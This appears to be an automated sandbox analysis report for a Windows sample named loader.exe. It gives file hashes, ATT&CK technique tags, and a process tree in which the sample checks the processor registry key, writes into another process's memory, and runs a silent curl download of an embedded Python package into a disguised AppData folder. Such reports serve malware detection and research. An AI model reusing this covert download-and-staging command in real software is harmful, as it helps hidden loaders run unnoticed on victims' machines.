a5b4392a6152fc9dd0796ad3c7b54bc370faceb5bf2e4651ee59e6118b75c4fd

Analysis

user interaction
yes
max time kernel
10s
max time network
11s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
19/08/2026, 18:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
loader.exe
Size 1.1MB
Sample260819-wlf3vssvbw
SHA256 a5b4392a6152fc9dd0796ad3c7b54bc370faceb5bf2e4651ee59e6118b75c4fd
MD5 8d3b23451453fb66a8f268f6dd87a2de
SHA1 593330f69f4257376295b427d4e90f4c550cb3d9
SHA512 cd7b173138d8525fc8b3ffb6397deb1f1590f036ad98fb7c383fba2cf22bcbaf34b4c1dc30b43e5129c63148c7ae190a031491952e3ad4c0c2b22de5b9582cd1
SSDEEP 12288:ebs/m0E54jwaFXGc8lEBBBHGBKq2IZwDlKvfqItNqdg:ebOVE5ifGPRZw4vf3fd
TLSH
T185357B83E7A385D8C116C9B5534BF137F9627C8E4B157197ABC41E633A67BA4E22CB00
MD5 SHA1 SHA512 SSDEEP TLSH

Score

1^/10

Malware Config

Signatures

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	loader.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	loader.exe

Suspicious use of WriteProcessMemory 1 IoCs

description	pid	Process	procid_target
PID 2624 wrote to memory of 2500	2624	loader.exe	89

C:\Users\Admin\AppData\Local\Temp\loader.exe
"C:\Users\Admin\AppData\Local\Temp\loader.exe"
1⤵
- Checks processor information in registry
- Suspicious use of WriteProcessMemory
PID:2624
- C:\Windows\SYSTEM32\curl.exe
  "curl" "-k" "-L" "-s" "-o" "C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python.zip.downloading" "https://www.python.org/ftp/python/3.12.7/python-3.12.7-embed-amd64.zip"
  2⤵
  PID:2500

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads